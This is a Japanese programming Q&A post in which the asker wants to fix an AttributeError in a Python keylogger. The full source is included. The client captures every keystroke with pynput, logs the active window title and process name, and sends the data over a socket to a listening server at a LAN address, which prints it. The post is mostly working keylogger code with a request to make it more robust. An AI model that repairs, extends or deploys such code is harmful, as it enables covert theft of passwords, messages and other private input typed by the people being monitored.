AttributeErrorを解消したい！

前提・実現したいこと

client.pyが取得したキーをserver.pyに渡すプログラムを書いています。
その時に、日本語と英語を変換するキー（ESCの近くにあるやつ）を入力するとclient.pyでエラーが発生します。
ちなみにキーはNONEとされていました。
これを回避する方法を教えてください。

発生している問題・エラーメッセージ

Unhandled exception in listener callback
Traceback (most recent call last):
  File "C:\Users\nodan\Desktop\keylogger.py", line 49, in on_press
    s.send(b.encode("cp932"))
AttributeError: 'NoneType' object has no attribute 'encode'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 162, in inner
    return f(self, *args, **kwargs)
  File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\keyboard\_win32.py", line 274, in _process
    self.on_press(key)
  File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 78, in inner
    if f(*args) is False:
  File "C:\Users\nodan\Desktop\keylogger.py", line 51, in on_press
    if key.name == "shift" or key.name == "alt_l":
AttributeError: 'KeyCode' object has no attribute 'name'
Traceback (most recent call last):
  File "C:\Users\nodan\Desktop\keylogger.py", line 49, in on_press
    s.send(b.encode("cp932"))
AttributeError: 'NoneType' object has no attribute 'encode'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\nodan\Desktop\keylogger.py", line 66, in <module>
    listener.join()
  File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 210, in join
    six.reraise(exc_type, exc_value, exc_traceback)
  File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\six.py", line 702, in reraise
    raise value.with_traceback(tb)
  File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 162, in inner
    return f(self, *args, **kwargs)
  File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\keyboard\_win32.py", line 274, in _process
    self.on_press(key)
  File "C:\Users\nodan\AppData\Roaming\Python\Python37\site-packages\pynput\_util\__init__.py", line 78, in inner
    if f(*args) is False:
  File "C:\Users\nodan\Desktop\keylogger.py", line 51, in on_press
    if key.name == "shift" or key.name == "alt_l":
AttributeError: 'KeyCode' object has no attribute 'name'

該当のソースコード

###server.py

import socket

server = socket.socket()
server.bind(("192.168.0.14", 6666))
server.listen(1)
c , a = server.accept()

while True:
    print(c.recv(126).decode("cp932"))

###client.py

from pynput import keyboard
from ctypes import *
from ctypes.wintypes import *
import socket

s = socket.socket()
s.connect(("192.168.0.14", 6666))
 
proc_status = None

def get_name_by_pid(pid):
    PROCESS_ALL_ACCESS = 0x1f0fff
    hProcess = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if hProcess == 0:
        return None
    buf = ctypes.create_unicode_buffer(1024)
    ret = ctypes.windll.psapi.GetModuleBaseNameW(hProcess, 0, buf, len(buf))
    if ret == 0:
        return None
    return buf.value

def get_hwnd_n_pid():
    hwnd = windll.user32.GetForegroundWindow()
    pid = ctypes.c_ulong()
    windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid))
    return hwnd, pid.value

def get_window_title(hwnd, pid):
    length = windll.user32.GetWindowTextLengthW(hwnd)
    buf = create_unicode_buffer(length + 1)
    windll.user32.GetWindowTextW(hwnd, buf, length + 1)
    return buf.value

def on_press(key):
    global proc_status
    try:
        hwnd, pid = get_hwnd_n_pid()
        pid_name = get_name_by_pid(pid)
        window_title = get_window_title(hwnd, pid)
        if proc_status == window_title:
            pass
        else:
            print("pid:{0} [{1}] [{2}]".format(pid, pid_name, window_title))
            a = ("pid:{0} [{1}] [{2}]".format(pid, pid_name, window_title))
            s.send(a.encode("cp932"))
            proc_status = window_title
        print(key.char, end="")
        b = key.char
        s.send(b.encode("cp932"))
    except AttributeError:
        if key.name == "shift" or key.name == "alt_l":
            print(" [{}]".format(key.name), end="")
            c = (" [{}]".format(key.name))
            s.send(c.encode("cp932"))
        else:
            print(" [{}]".format(key.name))
            d = (" [{}]".format(key.name))
            s.send(d.encode("cp932"))

def on_release(key):
    if key == keyboard.Key.esc:
        return False
with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()